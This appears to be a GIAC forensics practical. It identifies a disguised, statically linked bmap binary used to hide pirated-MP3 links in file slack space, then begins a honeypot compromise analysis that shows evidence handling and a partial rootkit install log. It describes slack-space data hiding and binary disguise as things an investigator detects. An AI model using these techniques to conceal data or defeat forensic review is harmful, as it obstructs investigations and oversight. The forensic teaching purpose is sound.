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Abstract: This is a three part paper. The first part is an analysis of a floppy with an unknown program provided by GIAC. The second is a forensic analysis of a compromised Linux RedHat 7.3 system and the final section answers legal questions provided by GIAC using Canadian laws
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Document Conventions:

The Arial 12 point font is the standard font used.

The Courier New 10 and 12 point fonts are used for:

- Commands that were run
- Results from the running of different commands, logs etc.

**Bold text** within screen shots and text boxes added by author.
1. Analysis of an Unknown Binary

1.1. Binary Details

The objective is to identify the purpose of an unknown binary named ‘prog’ from a compressed floppy image obtained from GIAC. The file binary_v1.4.zip was downloaded from the SANS - GIAC website on Oct 14, 2003 at 10:19:00 CST. The examiner was Kevin Miller. The system used for the analysis was an IBM Thinkpad A31, with 1GB RAM, 60GB hard drive. The evaluation was performed using EnCase v4.14 and two VMWare workstations in a host only environment. The VMWare workstations used for the evaluation were Redhat 7.3.

Below is the evidence information provided by GIAC with the floppy:
- Tag# fl-160703-jp1
- 3.5 inch TDK floppy disk
- MD5: 4b680767a2aed974cece5fbcdf84cc97a
- fl-160703-jp1.dd.gz

The MD5 checksum from the file fl-160703-jp1.dd.gz was verified to ensure the MD5 checksum matched the tag information obtained from GIAC, see Figure 1. Winzip was used to uncompress the file and another md5 checksum was done on the uncompressed file also shown in Figure 1, MD5 hashes from floppy.

![Figure 1, MD5 hashes from floppy](image-url)
The floppy image was uncompressed, previewed then acquired with EnCase v4.14. The MD5 hash obtained from the uncompressed image file was compared to the MD5 hash calculated during the EnCase acquire. Both the MD5 Acquisition and Verify hashes matched the MD5 checksum from the uncompressed image file. The screen shot in Figure 2 shows the acquisition date and time, Acquisition Hash and Verification Hashes. For clarity the information from Figure 2 is reprinted below.

### John Price - disk

**Device**

- **Evidence Number:** John Price - disk
- **File Path:** C:\Sans\Evidence Files\John Price - disk.E01
- **Actual Date:** 10/14/03 08:46:24PM
- **Target Date:** 10/14/03 08:46:24PM
- **Total Size:** 1,474,560 bytes (1.4MB)
- **Total Sectors:** 2,880
- **File Integrity:** Completely Verified, 0 Errors
- **EnCase Version:** 4.15
- **System Version:** Windows XP
- **Acquisition Hash:** 20BE7BC13A5CB8D77232659C52A3BA65
- **Verify Hash:** 20BE7BC13A5CB8D77232659C52A3BA65
- **Notes:** 1.44 MB floppy - John Price

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**Figure 2. EnCase Report Screen shot - MD5 Verification**
Using EnCase the file ‘prog’ was checked and the report tab was selected in the detail pane to obtain the File and MACTime information, file permissions and MD5 hash of the file.

![EnCase Forensic Edition](image)

**Figure 3.** EnCase screen shot of file information for ‘prog’

The following information is provided by the EnCase report tab:

- The file atime is 07/16/03 12:12:45am
- The file ctime is 07/14/03 08:24:00am
- The file mtime is 07/16/03 12:05:33am
- File owner 502
- Group owner 502
- File size 487476
Using EnCase the ‘prog’ file was exported (see Figure 4) and transferred to the VMware Linux 7.3 machine. The file was verified with md5sum in Figure 5. The file byte count matched the logical byte count from EnCase of 487476.

![EnCase export of prog file](image1)

**Figure 4.** EnCase export of prog file.

![MD5sum output](image2)

**Figure 5.** MD5sum – byte count – filetype for ‘prog’ file (VMware)

The ‘prog’ MD5 sum matches both MD5 checksums from EnCase and the VMware workstation.

```
Output from prog.md5 => 7b80d9aff486c6aa6aa3efa63cc56880 prog
```
The file command was run to determine the file type. Lines of special interest were:

- **ELF executable** – the kernel recognizes the file a unix executable.
- **statically linked** – the library files required for execution are included when the file is compiled. The file is independent of the library files on the machine it is run on.
- **Stripped** – the symbols have been removed from the file. This keeps the file size smaller and does not allow for easy identification.\(^1\)

The strings command was run to list out printable characters from the prog file. The complete strings output is listed in Appendix A. The lines from the strings output that were used for further investigation are shown below:

<table>
<thead>
<tr>
<th>mft_getopt</th>
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<tbody>
<tr>
<td>flag-</td>
<td>flagized option invokation</td>
<td>examining an enum!</td>
</tr>
<tr>
<td>matched against an enum val</td>
<td>examining a venum!</td>
<td>matched against an venum val</td>
</tr>
<tr>
<td>.</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>mft_log_shutdown</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>display fragmentation information for the file</td>
<td>frag</td>
<td>wipe the file from the raw device</td>
</tr>
<tr>
<td>.</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>autogenerate document ...</td>
<td>1.0.20 (07/15/03)</td>
<td>newt</td>
</tr>
<tr>
<td>use block-list knowledge to perform special operations on files</td>
<td>prog</td>
<td>main</td>
</tr>
<tr>
<td>off_t too small!</td>
<td>07/15/03</td>
<td>invalid option: %s</td>
</tr>
<tr>
<td>.</td>
<td>.</td>
<td>.</td>
</tr>
<tr>
<td>unable to raw open %s</td>
<td>Unable to determine count</td>
<td>Unable to allocate buffer</td>
</tr>
<tr>
<td>%s has holes in excess of %ld bytes...</td>
<td>error mapping block %d (%s)</td>
<td>nul block while mapping block %d.</td>
</tr>
<tr>
<td>.</td>
<td>.</td>
<td>.</td>
</tr>
</tbody>
</table>

\(^1\) Linux RedHat 7.3 "Man page for 'file' (man file)", ver 3.37 of file - gcc binutils.
The bolded lines above were searched using www.google.com. The string that provided the first solid lead was:

“use block-list knowledge to perform special operations on files”.
The google search led to http://old.lwn.net/2000/0413/announce.php3, a website that had the full search string text listed on it. The link on this page identified the program as bmap. The bmap references, (bolded and underlined above) provided further confirmation of the identity of the ‘prog’ file as the program ‘bmap’. The line:

```
1.0.20 (07/15/03)
```

indicated the bmap version as 1.0.20 and the date the file was compiled as (07/15/03).

### 1.2. Program Description

To determine the type of program the ‘prog’ file was, the command ‘file prog’ was used. The ‘file’ command displays the signature of a file. The output of the ‘file prog’ command showed the program to be an;

```
"ELF 32-bit LSB executable for the Intel 80386 platform"
```

As indicated in section 1.1 the strings search on google showed the file to be a program called “bmap”. The details from http://old.lwn.net/2000/0413/announce.php3 state the program is used to “perform special operations on files”.

What is the file used for? From the comments taken from strings analysis we can restate it as “the prog file – use(s) block-list knowledge to perform special operations on files”. The bmap program is referred to as a data hiding tool.

The last time the ‘prog’ file was used is indicated by the atime, 07/16/03 12:12:45am from the EnCase report. The MACtimes are:

- last access time (atime) of this program was 07/16/03 12:12:45am
- last modified time (mtime) of the program was 07/16/03 12:05:33am.
- last change time (ctime) of the program was 07/14/03 08:24:00am

### Step-by-Step Analysis

An isolated VMWare lab environment was used to analyze and run the file prog. The lab environment consisted of:

- Linux Redhat 7.3 VMWare workstation 1, (hereafter referred to as Redhat1), was setup as a network sniffer with an IP address of 192.168.75.131. Snort (v1.9) was used on the first Linux 7.3 VMWare workstation to monitor network traffic.
The command for running snort was “snort –vd”.

- Linux Redhat 7.3 VMWare workstation 2, (hereafter referred to as Redhat2), was setup to run the program with an IP address of 192.168.75.132. The program gdb (v5.1.90CVS-5) and strace were used to analyze the ‘prog’ file. Aide (v0.9) was installed and run on all files. Aide (Advance Intrusion Detection Environment) was configured to do an MD5 checksum of the file system. To allow for a known state and repeated execution of the prog file the VMWare workstation was configured an “undoable”. A unix live response consisting of the following commands: date, w, lsof, ps, netstat, lsmod and ls was run before and after executing the ‘prog’ file.

The following outlines the forensic analysis method used. The method used followed the methodology from the Sans Course “Reverse-Engineering Malware: Tools and Techniques Hands-on” course.

1) On Redhat2 workstation ‘md5sum’ was used to verify the file integrity (see Figure 5). The command ‘ll’ was used to obtain the byte size of the program. The command ‘file prog’ was run to identify the file type. From the ‘file prog’ command we know that:
   a) The file has been statically compiled. This means the library files are part of the file. This ensures the library files required to run the ‘prog’ program are available) and
   b) The file has been stripped. This means the symbols and file comments, that can provide clues on how the program works, have been removed.

2) On Redhat2 the strings command was used to dump the strings from the file (see Appendix A). The strings were analyzed and the program was identified as bmap. The ld command provided no reference library information due to the stripping of the prog file.

   The reference site for bmap was found and investigated further. The link provided the site ftp://ftp.scyld.com/pub/forensic_computing/bmap/. The source for version 1.0.20 was downloaded.

3) The following was done on the Redhat2. Aide 0.9 was run to create the initial MD5 checksum of files on the system. The Live response kit was run to record the status of the system. On Redhat2 the command ‘snort –dv’ was run to record any network traffic. A comparison of the MD5 checksums from before and after runnings of the ‘prog’ file is shown below.
The differences were identified and explained by different date and time stamps and expected changes between running processes.

The output from running the prog file was "no filename. Try '--help' for help". Analysis of snort output on Redhat2 showed no network traffic.

4) To ensure the environment was clean the VMWare environment was restarted without saving the previous session. The source code for bmap version 1.0.20 was unpacked. The bmap Makefile was modified to statically link libraries. The --static switch was added to the LDFLAGS line. The LDFLAGS line was now:

```
LDFLAGS = -L$(MFT_LIB_DIR) -lmft -static
```

The bmap file was stripped using the strip command:

```
strip bmap
```

The 'bmap' file was compared with the 'prog' file using "md5sum", "file" and "ll" output. The output screen is shown in Figure 7. The MD5 checksum did not match the MD5 checksum of the 'prog' file. The 'file' command output and byte count matched.
The 'prog' file and the newly compiled 'bmap' file were run with the --help switch. The output from both is shown:

```
[root@localhost bin1.4]# ./prog --help
prog 1.0.20 (07/15/03) new
Usage: prog [OPTION]... [<target-filename>]
use block-list knowledge to perform special operations on files

--doc VALUE
  where VALUE is one of:
  version display version and exit
  help display options and exit
  man generate man page and exit
  sgml generate SGML invocation info

--mode VALUE
  where VALUE is one of:
  m list sector numbers
  c extract a copy from the raw device
  s display data
  p place data
  w wipe
  chk test (returns 0 if exist)
  sb print number of bytes available
  wipe wipe the file from the raw device
  frag display fragmentation information for the file
  checkfrag test for fragmentation (returns 0 if file is fragmented)

--outfile <filename> write output to ...
--label useless bogus option
--name useless bogus option
```
The omitted pieces of the ‘bmap –help’ output are shown in bold red in the output above. A comparison of the strings output from ‘prog’ and ‘bmap’ showed the modifications to the help strings for the prog file. The references that were “left out” point to the purpose of the program. The strings searches were analyzed and word references were extracted to two files. The files were compared using excel. The words in the bmap strings output that are not found in the “prog” strings output are shown in bold red and the changed references are shown in bold blue in Table 1.

<table>
<thead>
<tr>
<th>Bmap strings output</th>
<th>Prog strings output</th>
</tr>
</thead>
<tbody>
<tr>
<td>wipe the file from the raw device</td>
<td>wipe the file from the raw device</td>
</tr>
<tr>
<td>print number of slack bytes available</td>
<td>print number of bytes available</td>
</tr>
</tbody>
</table>
### Table 1 String comparison - prog and bmap files

The bmap.c file was modified to replicate the prog file as follows:

- Removed 2 lines shown below that referenced "wipe, wipe slack"
  ```c
  {"wipeslack","wipe slack",
   0,MO_INT_CAST(BMAP_WIPESLACK)},
  ```

- Changed from "map" to "m".
- Changed from "carve" to "c".
- Changed from "slack" to "s" and removed "slack space" from line.
- Changed from "puts slack" to "p" and removed "into slack" from line.
- Changed "checks slack" to "chk", remove "for slack" and changed "file has slack" to "exist"
- Changed "slackbytes" to "sb" and removed "slack" from line.
• Seached on “bmap” and changed to “prog”
• Changed author in Make file from “newt@scylid.com” to “newt”
• Added -static to LD_FLAGS on line 30 in Makefile.
• Changed date to Jul 15, 2003

The objective was to see if the MD5 checksum could be replicated identically. The md5sum did not match, the bmap MD5 was “bca9d02b97d17f20f0937d1f10511f0c8”. This is attributed to not having the compile options and specifics on the versions of library files used to compile the prog executable.

The strace program was used to follow the interaction between the ‘prog’ and ‘bmap’ files and the operating system. The strace output from both “prog –help” and “bmap –help” are shown below. Note: No differences were found.
1.3. Forensic Details

When a program is installed on a system its MD5 checksum can be calculated and used as search criteria. Other program identifiers, such as the strings output in Section 1.1 above, can be used for keyword searches of the slack space and deleted files.

The “prog” file was statically linked as seen in the file output shown in Figure 5. Being statically linked meant all functions required for program execution are compiled as part of the binary. The execution of ‘prog’ did not rely on specific libraries being present on the system. Based on the ‘bmap’ and ‘prog’ analysis the program allows for the hiding of files in the slack space of other files. The key leads from the string search were:

```
1.0.20 (07/15/03)
newt
use block-list knowledge to perform special operations on files
.
.
bmap_get_block_size
bmap_map_block
.
bmap_raw_open
.
.
bmap_raw_close
.
```

The forensic details uncovered in step-by-step analysis in section 1.2 provided direction for further investigation. No network traffic was seen with “snort –dV” when the ‘prog’ file was executed. The strace comparisons, aide file system checksum comparisons and live response analysis done in section 1.2 proved the ‘prog’ file to be identical to the ‘bmap’ program with explainable differences to account for the MD5 checksum and strings output differences.

Investigation focused on the floppy disk. The purpose was to see if any data had been hidden in the slack space of the files on the floppy.

Using EnCase the Floppy dd image was restored to a floppy and mounted as read-only in the Redhat1 VMWare workstation. The bmap program was run on files using the – slack switch. The /Docs/Sound-HOWTO-html.tar.gz file had data in the slack space. Below are the commands run to extract the data from the slack space:

```
[root@localhost bin1.4]# .bmap --slack /mnt/floppy/Docs/Sound-HOWTO-html.tar.gz > Sound-slack.out
getting from block 190
```
file size was: 26843
slack size: 805
block size: 1024

[root@localhost bin1.4]# file Sound-slack.out

[root@localhost bin1.4]# zcat Sound-slack.out

Ripped MP3s - latest releases:
www.fileshares.org/
www.convenience-city.net/main/pub/index.htm
emmpeethrees.com/hidden/index.htm
ripped.net/down/secret.htm

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[root@localhost bin1.4]#

The strings output was used to locate the source code for the “prog” program. The leads from the slack space information above would be used to investigate the allegations against Mr. Price.

### 1.4. Program Identification

The source for bmap-1.0.20 was located at 
ftp://ftp.scyld.com/pub/forensic_computing/bmap/. The search to locate the site was based on string searches from the binary. See section 1.1 for details on the strings search used. The program ‘bmap’ is used for hiding data in slack space. The source code was obtained and the bmap.c file was edited as indicated in section 1.2. See Appendix B for a listing of the files from the bmap-1.0.20.tar.gz.

As seen in the section of Makefile below the switch “-static” was added.

```make
BINARIES = bmap slacker bclump
LIBRARIES = $(STATIC_LIBRARIES) $(SHARED_LIBRARIES)
```

The compile of the “bmap” executable was done by typing “make” in the bmap-1.0.20 directory. To strip the file the command used was “strip bmap”. An MD5 comparison of
the file showed it to be different from the “prog” file. String comparisons were done and can be seen in Table 1 on page 15. The bmap.c file and Makefile were modified according to section 1.3 and bmap was recompiled using make. The MD5 output still didn’t match the “prog” file. The byte count was the same and the strings output between the two files showed

```
[root@localhost bmap-1.0.20-modified]#  ll bmap
-rwxr-xr-x  1 root  root  611550 Jul 15 13:53 bmap
[root@localhost bmap-1.0.20-modified]#  strip bmap
[root@localhost bmap-1.0.20-modified]#  ll bmap
-rwxr-xr-x  1 root  root  487476 Jul 15 13:53 bmap
[root@localhost bmap-1.0.20-modified]#  md5sum bmap
92860c2996dca14ac353e9765cb9b2b2 bmap
[root@localhost bmap-1.0.20-modified]#  ll ../prog
-rwxr-xr-x  1 root  wheel  487476 Oct 16 2003 ../prog
[root@localhost bmap-1.0.20-modified]#  md5sum ../prog
7b80d9aff486c6aa6aa3efa63cc56880 ../prog
```

Section 1.2 shows the straces of the two programs with no differences. The conclusion drawn is the “prog” file is different from the “bmap” due to specific changes made to hide the purpose of the file by the individual who compiled the program. Some of the reasons for the difference could be version differences in library file, version differences in the compiler. The GCC compiler used in the VMWare workstation was 2.96 20000731. A search of the unallocated cluster with EnCase is shown in Figure 8.

![Figure 8. GCC version information located in Unallocated Clusters](image-url)
The gcc version indicated was 3.2.2 20030222, this can account for the differences in the bmap and prog MD5 checksums.

1.5. Legal Implications

An image of the prog file was found in the unallocated clusters on the floppy disk. With the evidence from the slack space area of the Sound-HOWTO-html.tar.gz file we know the “prog” program was used to hide information. The information from the slack space can lead to potential violation of the Criminal Code of Canada, Part IX, Section 342.1 and Part XI, Section 430. The renaming of bmap and the alteration of the output help commands, statically linking the file and stripping it, demonstrates a desire to hide intentions. We know the “prog” file has been used to hide web addresses for ripped MP3 files. Assuming other evidence proves violation of the Copyright Act of Canada then additional charges and civil action can be taken.

If the servers were not located in Canada then it would not be a violation of Canadian law. If the servers are within the United States then the information would be passed on to U.S. authorities.

Assuming the MP3 files are on servers that are located in Canada, then unauthorized access laws could be applied. One of the Canadian laws that would be violated is the Criminal Code of Canada, Part IX – Offences Against Rights of Property S.342.1 (1) (a)-(d).

342.1 (1) Every one who, fraudulently and without colour of right, (a) obtains, directly or indirectly, any computer service,
(b) by means of an electro-magnetic, acoustic, mechanical or other device, intercepts or causes to be intercepted, directly or indirectly, any function of a computer system,
(c) uses or causes to be used, directly or indirectly, a computer system with intent to commit an offence under paragraph (a) or (b) or an offence under section 430 in relation to data or a computer system, or
(d) uses, possesses, traffics in or permits another person to have access to a computer password that would enable a person to commit an offence under paragraph (a), (b) or (c)
is guilty of an indictable offence and liable to imprisonment for a term not exceeding ten years, or is guilty of an offence punishable on summary conviction. 3

The mischief law may also be applied, under the Criminal Code of Canada, Part XI – Willful and Forbidden Acts in Respect of Certain Property. Section 428 defines property and Section 430 (1) (a)-(d) and (1.1) (a)-(d) defines Mischief:

**Definition of “property”**

428. In this Part, “property” means real or personal corporeal property.

**Mischief**

430. (1) Every one commits mischief who willfully

(a) destroys or damages property;

(b) renders property dangerous, useless, inoperative or ineffective;

(c) obstructs, interrupts or interferes with the lawful use, enjoyment or operation of property; or

(d) obstructs, interrupts or interferes with any person in the lawful use, enjoyment or operation of property.

**Mischief in relation to data**

(1.1) Every one commits mischief who willfully

(a) destroys or alters data;

(b) renders data meaningless, useless or ineffective;

(c) obstructs, interrupts or interferes with the lawful use of data; or

(d) obstructs, interrupts or interferes with any person in the lawful use of data or denies access to data to any person who is entitled to access thereto.

(5) Every one who commits mischief in relation to data

(a) is guilty of an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) is guilty of an offence punishable on summary conviction.

(5.1) Every one who willfully does an act or willfully omits to do an act that it is his duty to do, if that act or omission is likely to constitute mischief causing actual danger to life, or to constitute mischief in relation to property or data,

(a) is guilty of an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) is guilty of an offence punishable on summary conviction.

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The Acceptable use policy from “SANS – Acceptable use policy template” was used as Some Company’s policy. Section 4.3 “Unacceptable Use” outlines prohibited activities, we find the following

1. Violations of the rights of any person or company protected by copyright, trade secret, patent or other intellectual property, or similar laws or regulations, including, but not limited to, the installation or distribution of “pirated” or other software products that are not appropriately licensed for use by Some Company.

2. Unauthorized copying of copyrighted material including, but not limited to, digitization and distribution of photographs from magazines, books or other copyrighted sources, copyrighted music, and the installation of any copyrighted software for which Some Company or the end user does not have an active license is strictly prohibited.

The “prog” program has been used to hide data relating to the alleged distribution of copyrighted material. According to Section 5.0 of the policy “violating the policy can subject the employee to disciplinary action, up to and including termination of employment”.

1.6. Interview Questions

The questions I would use to help prove a subject was the one who installed and executed the “prog” file are below:

Hi, I’m Kevin, I have a few questions for you:

1) Can you tell me when you were on holidays this year?

2) You were at work on “July 18, 2003”?

The reason for questions one and two is to establish that the suspect was at work during the time the program was installed and executed.

3) What is your background with computers?

The reason for question three is to determine the level of experience the suspect has with computers.

4) Does everyone use their own login ID’s in the area?
   What login ID do you use?
   Are there any other logon IDs that you use?

The reason for asking these questions is gather the various user IDs the suspect uses. This information will assist the investigators when analyzing log evidence and ownership
of files.

5) What workstations do you use?
   Do you access any servers for your work function?

Knowing what workstation and servers the suspect admits to having access to can help in gathering other evidence. Verification may be available through network event logging and / or other co-worker corroboration.

6) I see you have extensive computer experience. We’ve found a program called ‘prog’ on the floppy disk in your office. Can you tell me the purpose of this program?

The suspect has an opportunity to provide an explanation for the program and its intended purpose.

7) Can you tell me the last time you used the ‘prog’ program and what you used it for?

Question seven hits the suspect head on, he is given an opportunity to give his side of the story.

1.7. Case Information

To assist System Administrators in detecting the use of the “prog” file or files with hidden slack space data, a sweep of servers the suspect had, or could have had access to would be conducted. The sweep would start with a basic find sweep for the “prog” file, starting with accounts the suspect used. The next step for System Administrator would be to use the bmap tool and locate files with data in slack space. The command to use would be:

    # find / -name \* -type f -exec bmap -checkslack {} \\

The command will start at root (/) looking for all (-name \*) files (-type f) and run “bmap –checkslack” on the file and print this out. As seen in Figure 9:
Figure 9. Slack check for John Price Floppy

Figure 9 shows the file Sound-HOWTO-html.tar.gz with “slack”. To extract the slack data the command was run:

```
“bmap -slack /mnt/floppy/Sound-HOWTO-html.tar.gz > Sound-slack.out”
```

The file command was run on “file Sound-slack.out”. The result showed the file as a gzip file. The program zcat was used to parse the file “zcat Sound-slack.out”. The output is reprinted below. (refer to section 1.3 for the actual session outputs.)

```
[root@localhost bin1.4]# zcat Sound-slack.out
Ripped MP3s - latest releases:

www.fileshares.org/
www.convenience-city.net/main/pub/index.htm
emmpeethrees.com/hidden/index.htm
ripped.net/down/secret.htm

***NOT FOR DISTRIBUTION***
```

Other pieces of evidence are taken from the time line of the files on the disk and the letter to Mike. The time line shows the Sound-HOWTO-html.tar.gz document last written (ctime) and last accessed (atime) as 08:11:50am. The nc-1.10.16.i386.rpm..rpm file is accessed next with a ctime and atime of 08:12:15am, and ebay300.jpg is accessed with ctime and atime of 08:12:48am. The letter to Mike (Mkemsg.doc) has ctime, atime and mtime of 08:48:15am. The content in the letter was:

```
Hey Mike,
I received the latest batch of files last night and I’m ready to rock-n-roll (ha-ha).
```
I have some advance orders for the next run. Call me soon.

JP

With the evidence from the slack data, the timeline and the letter to Mike, we can proceed to the web servers for further investigation and evidence gathering.

1.8. Additional Information

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2. Forensic Analysis - RedHat 7.3 system

2.1. Synopsis of Case Facts

The honeynet was put into service on June 27, 2003. The honeynet (see Figure 10) consisted of:

- 1 firewall configured with external, private and demilitarized zone (DMZ) network interfaces.
- 1 default server install of Linux 7.3 running an Apache web server.
- 1 default server install of Windows 2000 running and IIS web server.
- 1 sebek (v.2.0.1) host running on Linux 7.3 with 2 network interfaces.
- 1 snort (v.2.0.0) host running on FreeBSD (v4.7) with 2 network interfaces.
- 1 Linux 8.0 server setup as a central log host with one network interface.

On the afternoon of June 29, 2003 logging events from the network IDS and firewall alerted honeynet staff to scanning activity originating from the Linux 7.3 honeypot system. The firewall rules were modified to deny traffic to and from the system.

On June 30, 2003 at 5:18 pm a live response procedure was run on the Linux 7.3 computer and at 5:31pm the power cord to the box was unplugged. The harddrive was removed and an image of the hard drive was made using a FastBloc device and EnCase v4.14 software.

The log files from the snort host and sebek host were obtained. Delays in securing the log evidence from the log server required a dd image be taken of the log partition for forensic recovery and analysis. Md5 checksums were done for all logging evidence and burned to CD.

NTP synchronization problems required time synchronization adjustments for evidence gathered. The analysis is described below.
2.2. System Description

The hardware of the Linux 7.3 honeypot machine was:

- Compaq Deskpro Pentium II 400 Mhz
- 128MB of RAM
- 1 - 6.4GB IDE harddrive
- 1 – CDROM IDE
- 1 – 10/100 onboard Ethernet adapter
- 1 – 3.5" floppy drive

The Redhat Linux 7.3 honeypot system installation included the WWW (Apache) server and the sebek2\textsuperscript{5} kernel module. The kernel module was configured to hide traffic dumped on the wire from any sniffers installed on the victim machine. The sebek2 logging traffic was dumped to ip address 0.0.0.0 to log keystrokes from the server. The network configuration is shown in Figure 10.

The snort (v2.0.0) host was configured to provide network intrusion detection, alerting and tcpdump binary packet capture. This operating system had FreeBSD 4.7 as the operating system.

The sebeksniff host was configured to sniff for UDP packets on port 1101. The sebeksniff system had Linux 7.3 as the operating system.

The log server was configured to accepting logging from the firewall and the honey pot systems. The operating system on the log server was Linux 8.0.

\textsuperscript{5} Honeynet Project, \url{http://www.honeynet.org/tools/sebek/}
2.3. Hardware Description

The following is a list of evidence items:

<table>
<thead>
<tr>
<th>Tag #</th>
<th>Description</th>
</tr>
</thead>
</table>
| Tag # 01 | Western Digital AC26400-60RTT0  
Hard Drive, Serial #: WM627 232 5552, Size: 6448.6 MB |
| Tag # 02 | Compaq Deskpro, 400/100 MHz, Serial #: 6919BW42A085 |
| Tag # 03 | Western Digital AC26400-60RTT0  
Hard Drive, Serial #: WM627 232 3421, Size: 6448.6 MB |
| Tag # 04 | Compaq Deskpro, 400/100 MHz, Serial #: 6919BW42A129 |
| Tag # 05 | CDROM labeled “Casefile 10/10/03 logs” with initials FT |
Tag # 01 came from the Linux 7.3 honeypot computer identified in Tag # 02 and Tag # 03 was taken from the log server system identified in Tag #04. Both systems were identical Compaq Deskpro P400s with an internal hard drive, 128MB of RAM, internal 3.5” high density floppy drive and sound card. Tag items # 01 through Tag # 04 were seized from Some Company located in the computer room on the third floor at 123 Anywhere Street, Anytown, Manitoba, Canada.

The CDROM, Tag # 05, contained the log files from the sebeksniff host, logs from the snort v2 host, the var partition dd image from the logserver (Tag #03), the live response files from the linux 7.3 host and the MD5 checksum files for each file on the CDROM.

2.4. Media Image

The hard drive listed as Tag # 01 was connected to the FastBloc device. The device used is a FastBloc “Classic” from Guidance Software (www.guidancesoftware.com). FastBloc is a hardware write-blocked device. The FastBloc device was connected to a PCMCIA SCSI card installed in a ThinkPad model A31 laptop running EnCase v4.14, as shown in Figure 11. The EnCase software was used to acquire an EnCase image evidence file of the drive. During the preview and acquisition phases the EnCase software provides a verification checkbox that the device being viewed or acquired is write protected. The write protection ensures the evidence is not changed or modified.

![Figure 11. FastBloc - drive image Tag #01](image-url)
The MD5 hash was calculated during the preview of Tag #02 using EnCase. The preview MD5 checksum is shown in Figure 12.

![Hashing](image)

**Figure 12. Preview MD5 Hash of Linux 7.3 honeypot system**

The check box to “Search, Hash and Signature Analysis” was selected. This box ensures the image file is added to the case, performs an MD5 hash on all files on the drive and does a signature analysis.

![After Acquisition](image)

**Figure 13. Initial search, MD5 of files and Signature analysis.**
To ensure the MD5 checksum from the preview was identical to the acquired evidence file another MD5 hash was done. The resulting hash is shown in Figure 15. We have verified the acquisition evidence file and the preview MD5 checksum are identical. The MD5 hash value can be recalculated any time during the analysis to verify the integrity of the evidence, see Figure 15.

Files on the CDROM, Tag item # 05, included an MD5 hash file. Below is the file listing:

<table>
<thead>
<tr>
<th>MD5 Hash</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>994b0c3b8e91d10087fa085f9586f4de</td>
<td>liveresponse.tar</td>
</tr>
<tr>
<td>82b86c939e8347c71e25655530566dc7</td>
<td>sebek.out</td>
</tr>
<tr>
<td>66130385e828dbb5218a492d6f1df6a1</td>
<td>snortfiles.tar</td>
</tr>
<tr>
<td>d073eb91e149936a313f907cd3c9a3ac</td>
<td>varddimage.gz</td>
</tr>
</tbody>
</table>
Using md5sum.exe from [http://www.etree.org/md5com.html](http://www.etree.org/md5com.html), the file checksums were verified. The output is shown below:

```
D:\>md5sum *
994b0c3b8e91d10087fa085f9586f4de *liveresponse.tar
82b86c939e8347c71e25655530566dc7 *sebek.out
66130385e828dbb5218a492d6f1df6a1 *snortfiles.tar
d073eb91e149936a313f907cd3c9a3ac *varddimage.gz
```

### 2.5. Media Analysis

The system used to analyze the evidence was an IBM ThinkPad model A31 with a 1.8Ghz processor, 1.0GB of RAM. There were two sixty GigaByte Travelstar hard drives, a removable Matsushita UJD720 DVD/CDRW. The Forensic analysis software used to examine Tag #01 and Tag #03 and Tag #05 was EnCase (V4.14) from Guidance Software, a forensic tool of choice in our workplace.

Below is a list of all of the tools used during the analysis:

1. EnCase is popular with law enforcement and private industry providing powerful forensic capabilities. [www.guidancesoftware.com](http://www.guidancesoftware.com)

2. `mac_robber` is a computer forensic tool for unix. It collects MAC (modified, access and change) times of files. [www.stake.com/research/tools/forensic](http://www.stake.com/research/tools/forensic)

3. The live response kit consisted of the following Linux binaries:
   
   a. `nc` (netcat) used to send data streams from the victim machine to the forensic workstation.
   b. `date` used to record the start time and stop time of the response.
   c. `w` used to identify who is currently logged in.
   d. `netstat` used to show the internet sockets that are open and to display the routing information.
   e. `lsof` used to identify backdoors and network services.
   f. `ps` used to show the processes in the process table.
   g. `ifconfig` used to obtain the network configuration
   h. `ls` used to list the /proc file system.
   i. `md5sum` used to record MD5 checkums.

See Table 2 for the exact syntax used for each command. The LD_LIBRARY_PATH variable was set to ensure known good library files were used. It is important to use either statically compiled files or trusted library files. It must be assumed the binary and library files on the system are

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compromised. That is the reason for the using the trusted library files. The library files were included on the live response CDROM.

4. Snort (v.2.0.0) open source software that can be used as a sniffer, packet logger and network intrusion detection software. Snort reference site www.snort.org.

5. Tcpdump (v.3.6 running with libcap v0.6) open source software used for analyzing packets. Tcpdump is available from www.tcpdump.org.

6. Tcpflow (v.0.21) open source software that will allow the data stream for a TCP session to be captured. Tcpflow is available from www.circlemud.org/~jelson/software/tcpflow.

7. Linux RedHat 7.3 commands; find, md5sum, grep, ls. These commands are part of the unix operating system. (www.redhat.com).

EnCase provides verification via MD5 hashes of drive previews and evidence files when opened. The MD5 checksum was calculated when Tag item #1 was previewed and acquired. The FastBloc device ensures the evidence is not altered or changed in any way. The verification checksum ensures the evidence has not been corrupted or altered and allows for verification throughout the analysis process.

When the harddrive, Tag item #1, was first acquired as an evidence file an acquisition MD5 checksum was calculated. A verification MD5 checksum can be run at anytime. EnCase has powerful search capabilities through the use of keywords. Generic keyword lists are available, but meaningful keywords assist in narrowing the investigation. To focus the EnCase analysis a meaningful keyword list was compiled using the live response files and associated logs.

Before the initial acquisition the keywords were entered and selected. Once the drive was acquired EnCase used the keyword list to search the acquired evidence file.

**File system**

The live response and log analysis provided a focus for beginning the file system analysis. The IDS logging provided details on the initial connections that led to the compromise of the victim machine. The encrypted ssh session meant the IDS logging could not provide details on the events occurring on the victim machine.

The first files analyzed were the files and directories identified as suspicious during the live response analysis. Those directories and files were:

- Nfsd
- sshd_config
- Popauth
- minilogd
- /tmp/.s
- services
weit /x

Analysis of the /tmp/.s directory corroborating evidence seen in the IDS logs. The file install.log had a last written date of 03:25:20PM. The install.log file was created by the running of the install script from the s.tar.gz file. The install.log file is shown in Table 2.

<table>
<thead>
<tr>
<th>Installing</th>
<th>chattr: No such file or directory while trying to stat /usr/local/sbin/sshd</th>
</tr>
</thead>
<tbody>
<tr>
<td>Shutting down kernel logger:</td>
<td>[ OK ]</td>
</tr>
<tr>
<td>Shutting down system logger:</td>
<td>[ OK ]</td>
</tr>
<tr>
<td>touch: getting attributes of <code>ps</code>:</td>
<td>No such file or directory</td>
</tr>
<tr>
<td>touch: getting attributes of <code>ls</code>:</td>
<td>No such file or directory</td>
</tr>
<tr>
<td></td>
<td>-ps</td>
</tr>
<tr>
<td>PS --&gt; failed</td>
<td></td>
</tr>
<tr>
<td></td>
<td>--top</td>
</tr>
<tr>
